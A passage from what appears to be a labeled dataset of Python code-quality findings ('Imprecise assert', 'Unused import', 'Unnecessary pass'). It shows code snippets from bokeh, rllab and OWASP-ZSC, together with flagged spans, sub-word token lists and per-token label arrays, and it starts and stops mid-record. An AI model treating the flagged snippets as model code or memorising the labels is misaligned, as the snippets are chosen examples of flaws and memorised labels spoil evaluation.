"\\u", "see", "n", "\\u", "urls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "see", "n", "\\u", "urls", " ", "require", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plug", "in", "News", "_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "exist", "ing", "\\u", "documents_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "delete", "\\u", "exist", "ing", "\\u", "document", "s", " ", "require", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plug", "in", "News", "_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ",_", "delete", "\\u", "exist", "ing", "\\u", "documents_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "default", " ", "plugin_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "getti", "ng", " ", "crawl", " ", "plugin", " ", "info", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "crawl", "\\u", "config_", "=_", "self_", "._", "get", "\\u", "default", "\\u", "plugin_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "appl", "y", " ", "this", " ", "specific", " ", "plugin_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "crawl", "\\u", "config_", "._", "update_", "(_", "self_", "._", "get", "\\u", "specific", "\\u", "plugin_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "delete", " ", "exist", "ing", " ", "documents_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "delete", "\\u", "exist", "ing", "\\u", "documents_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "delet", "ing", " ", "document", "s", " ", "bef", "ore", " ", "crawl", "ing", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delete", "\\u", "exist", "ing", "\\u", "documents_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "see", "n", "\\u", "urls_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "the", " ", "alr", "ead", "y", " ", "visit", "ed", " ", "urls", " ", "to", " ", "the", " ", "config_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "getti", "ng", " ", "see", "n", " ", "urls", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "see", "n", "\\u", "urls_", "=_", "self_", "._", "get", "\\u", "see", "n", "\\u", "urls_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "crawl", "\\u", "config_", "[_", "'", "see", "n", "\\u", "urls", "'_", "]_", "=_", "see", "n", "\\u", "urls_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "\"", "getti", "ng", " ", "template", " ", "dict", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "the", " ", "template", " ", "for", " ", "this", " ", "crawl", "\\u", "plugin", " ", "to", " ", "the", " ", "scrap", "ing", " ", "config_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "crawl", "\\u", "config_", "[_", "'", "template", "\\u", "dict", "'_", "]_", "=_", "self_", "._", "get", "\\u", "template", "\\u", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "\"", "startin", "g", " ", "crawl", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "separate", " ", "out", " ", "the", " ", "save", " ", "data", " ", "whi", "le", " ", "crawl", "ing", " ", "and", " ", "the", " ", "news", "cra", "ler_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "logg", "ing", "\\u", "level", "'_", "in_", "self_", "._", "crawl", "\\u", "config_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logg", "ing", "\\u", "level_", "=_", "int_", "(_", "self_", "._", "crawl", "\\u", "config_", "[_", "'", "logg", "ing", "\\u", "level", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logg", "ing", "\\u", "level_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "template", "d\\u", "dict_", "=_", "crawl", "_", "._", "start_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "crawl", "\\u", "config_", ",_", "News", "Crawler", "_", ",_", "self_", "._", "save", "\\u", "data_", ",_", "self_", "._", "save", "\\u", "bul", "k", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "logg", "ing", "\\u", "level_", "=_", "logg", "ing", "\\u", "level_", ",_", "cache_", "=_", "self_", "._", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "saving", " ", "template", "..'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "save", "\\u", "template", "\\u", "dict_", "(_", "template", "d\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "crawl", "ing", "/", "scrap", "ing", "'_", ",_", "self_", "._", "project", "\\u", "name_", ",_", "self_", "._", "plugin", "\\u", "name_", ",_", "\"", "DON", "E", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "File", "Plug", "in", "News", "_", "(_", "Crawl", "File", "Plugin_", ",_", "Crawl", "Plug", "in", "News", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "ZO", "DB", "Plug", "in", "News", "_", "(_", "Crawl", "ZO", "DB", "Plugin_", ",_", "Crawl", "Plug", "in", "News", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plug", "in", "News", "_", "(_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", ",_", "Crawl", "Plug", "in", "News", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uD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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
bokeh/bokeh/bokeh/util/tests/test_serialization.py
[ { "content": " def test_return_valid_json(self):\n self.assertTrue(traverse_data(self.testing) == self.expected)", "metadata": "root.TestTraverseData.test_return_valid_json", "header": "['class', 'TestTraverseData', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_with_numpy(self):\n self.assertTrue(traverse_data(self.testing, True) == self.expected)", "metadata": "root.TestTraverseData.test_with_numpy", "header": "['class', 'TestTraverseData', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 32 }, { "content": " def test_without_numpy(self):\n self.assertTrue(traverse_data(self.testing, False) == self.expected)", "metadata": "root.TestTraverseData.test_without_numpy", "header": "['class', 'TestTraverseData', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 35 } ]
[ { "span": "self.assertTrue(traverse_data(self.testing) == self.expected)", "start_line": 30, "start_column": 8, "end_line": 30, "end_column": 69 }, { "span": "self.assertTrue(traverse_data(self.testing, True) == self.expected)", "start_line": 33, "start_column": 8, "end_line": 33, "end_column": 75 }, { "span": "self.assertTrue(traverse_data(self.testing, False) == self.expected)", "start_line": 36, "start_column": 8, "end_line": 36, "end_column": 76 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "Travers", "e", "Data_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "return", "\\u", "valid", "\\u", "json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "traverse", "\\u", "data_", "(_", "self_", "._", "testing_", ")_", "==_", "self_", "._", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Travers", "e", "Data_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "with", "\\u", "numpy_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "traverse", "\\u", "data_", "(_", "self_", "._", "testing_", ",_", "True_", ")_", "==_", "self_", "._", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Travers", "e", "Data_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "with", "out", "\\u", "numpy_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "traverse", "\\u", "data_", "(_", "self_", "._", "testing_", ",_", "False_", ")_", "==_", "self_", "._", "expected_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
rllab/rllab/rllab/misc/resolve.py
[ { "content": "from pydoc import locate\nimport types\nfrom rllab.misc.ext import iscanr\n\n\n\n\n \n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def classesinmodule(module):\n md = module.__dict__\n return [\n md[c] for c in md if (\n isinstance(md[c], type) and md[c].__module__ == module.__name__\n )\n ]", "metadata": "root.classesinmodule", "header": "['module', '___EOS___']", "index": 5 }, { "content": "def locate_with_hint(class_path, prefix_hints=[]):\n module_or_class = locate(class_path)\n if module_or_class is None:\n # for hint in iscanr(lambda x, y: x + \".\" + y, prefix_hints):\n # module_or_class = locate(hint + \".\" + class_path)\n # if module_or_class:\n # break\n hint = \".\".join(prefix_hints)\n module_or_class = locate(hint + \".\" + class_path)\n return module_or_class", "metadata": "root.locate_with_hint", "header": "['module', '___EOS___']", "index": 14 }, { "content": "def load_class(class_path, superclass=None, prefix_hints=[]):\n module_or_class = locate_with_hint(class_path, prefix_hints)\n if module_or_class is None:\n raise ValueError(\"Cannot find module or class under path %s\" % class_path)\n if type(module_or_class) == types.ModuleType:\n if superclass:\n classes = filter(lambda x: issubclass(x, superclass), classesinmodule(module_or_class))\n if len(classes) == 0:\n if superclass:\n raise ValueError('Could not find any subclasses of %s defined in module %s' % (str(superclass), class_path))\n else:\n raise ValueError('Could not find any classes defined in module %s' % (class_path))\n elif len(classes) > 1:\n if superclass:\n raise ValueError('Multiple subclasses of %s are defined in the module %s' % (str(superclass), class_path))\n else:\n raise ValueError('Multiple classes are defined in the module %s' % (class_path))\n else:\n return classes[0]\n elif isinstance(module_or_class, type):\n if superclass is None or issubclass(module_or_class, superclass):\n return module_or_class\n else:\n raise ValueError('The class %s is not a subclass of %s' % (str(module_or_class), str(superclass)))\n else:\n raise ValueError('Unsupported object: %s' % str(module_or_class))", "metadata": "root.load_class", "header": "['module', '___EOS___']", "index": 26 } ]
[ { "span": "from rllab.misc.ext import iscanr", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 33 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "pydo", "c_", "import_", "locate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rl", "lab_", "._", "misc_", "._", "ext_", "import_", "isc", "an", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "classe", "sin", "module_", "(_", "module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "md_", "=_", "module_", "._", "\\u\\u", "dict\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "md_", "[_", "c_", "]_", "for_", "c_", "in_", "md_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "isinstance_", "(_", "md_", "[_", "c_", "]_", ",_", "type_", ")_", "and_", "md_", "[_", "c_", "]_", "._", "\\u\\u", "module\\u\\u_", "==_", "module_", "._", "\\u\\u", "name\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "locat", "e\\u", "with", "\\u", "hint_", "(_", "class", "\\u", "path_", ",_", "prefix", "\\u", "hints_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "module", "\\u", "or", "\\u", "class_", "=_", "locate_", "(_", "class", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "module", "\\u", "or", "\\u", "class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "for", " ", "hin", "t", " ", "in", " ", "isc", "an", "r", "(", "lambda", " ", "x", ",", " ", "y", ":", " ", "x", " ", "+", " ", "\".", "\"", " ", "+", " ", "y", ",", " ", "prefix", "\\u", "hin", "ts", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "module", "\\u", "or", "\\u", "class", " ", "=", " ", "locat", "e", "(", "hin", "t", " ", "+", " ", "\".", "\"", " ", "+", " ", "class", "\\u", "path", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "module", "\\u", "or", "\\u", "class", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", "break_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hint_", "=_", "\".\"_", "._", "join_", "(_", "prefix", "\\u", "hints_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "or", "\\u", "class_", "=_", "locate_", "(_", "hint_", "+_", "\".\"_", "+_", "class", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "module", "\\u", "or", "\\u", "class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "\\u", "class_", "(_", "class", "\\u", "path_", ",_", "superclass", "_", "=_", "None_", ",_", "prefix", "\\u", "hints_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "module", "\\u", "or", "\\u", "class_", "=_", "locat", "e\\u", "with", "\\u", "hint_", "(_", "class", "\\u", "path_", ",_", "prefix", "\\u", "hints_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "module", "\\u", "or", "\\u", "class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "Cann", "ot", " ", "find", " ", "module", " ", "or", " ", "class", " ", "under", " ", "path", " ", "%", "s", "\"_", "%_", "class", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "(_", "module", "\\u", "or", "\\u", "class_", ")_", "==_", "types_", "._", "Modul", "e", "Type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "superclass", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "classes_", "=_", "filter_", "(_", "lambda_", "x_", ":_", "issubclass_", "(_", "x_", ",_", "superclass", "_", ")_", ",_", "classe", "sin", "module_", "(_", "module", "\\u", "or", "\\u", "class_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "classes_", ")_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "superclass", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Cou", "ld", " ", "not", " ", "find", " ", "any", " ", "subclasses", " ", "of", " ", "%", "s", " ", "defin", "ed", " ", "in", " ", "module", " ", "%", "s", "'_", "%_", "(_", "str_", "(_", "superclass", "_", ")_", ",_", "class", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Cou", "ld", " ", "not", " ", "find", " ", "any", " ", "classe", "s", " ", "defin", "ed", " ", "in", " ", "module", " ", "%", "s", "'_", "%_", "(_", "class", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "len_", "(_", "classes_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "superclass", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Multipl", "e", " ", "subclasses", " ", "of", " ", "%", "s", " ", "are", " ", "defin", "ed", " ", "in", " ", "the", " ", "module", " ", "%", "s", "'_", "%_", "(_", "str_", "(_", "superclass", "_", ")_", ",_", "class", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Multipl", "e", " ", "classe", "s", " ", "are", " ", "defin", "ed", " ", "in", " ", "the", " ", "module", " ", "%", "s", "'_", "%_", "(_", "class", "\\u", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "classes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "module", "\\u", "or", "\\u", "class_", ",_", "type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "superclass", "_", "is_", "None_", "or_", "issubclass_", "(_", "module", "\\u", "or", "\\u", "class_", ",_", "superclass", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "module", "\\u", "or", "\\u", "class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "The", " ", "class", " ", "%", "s", " ", "is", " ", "not", " ", "a", " ", "subclass", " ", "of", " ", "%", "s", "'_", "%_", "(_", "str_", "(_", "module", "\\u", "or", "\\u", "class_", ")_", ",_", "str_", "(_", "superclass", "_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "'", "Unsu", "ppo", "rted", " ", "object", ":", " ", "%", "s", "'_", "%_", "str_", "(_", "module", "\\u", "or", "\\u", "class_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unnecessary pass
Ali-Razmjoo/OWASP-ZSC/module/readline_windows/pyreadline/modes/notemacs.py
[ { "content": " def _i_search(self, searchfun, direction, init_event):\n c = self.console\n line = self.get_line_buffer()\n query = ''\n hc_start = self._history.history_cursor #+ direction\n while 1:\n x, y = self.prompt_end_pos\n c.pos(0, y)\n if direction < 0:\n prompt = 'reverse-i-search'\n else:\n prompt = 'forward-i-search'\n\n scroll = c.write_scrolling(\"%s`%s': %s\" % (prompt, query, line))\n self._update_prompt_pos(scroll)\n self._clear_after()\n\n event = c.getkeypress()\n if event.keysym == 'BackSpace':\n if len(query) > 0:\n query = query[:-1]\n self._history.history_cursor = hc_start\n else:\n self._bell()\n elif event.char in string.letters + string.digits + string.punctuation + ' ':\n self._history.history_cursor = hc_start\n query += event.char\n elif event.keyinfo == init_event.keyinfo:\n self._history.history_cursor += direction\n line=searchfun(query) \n pass\n else:\n if 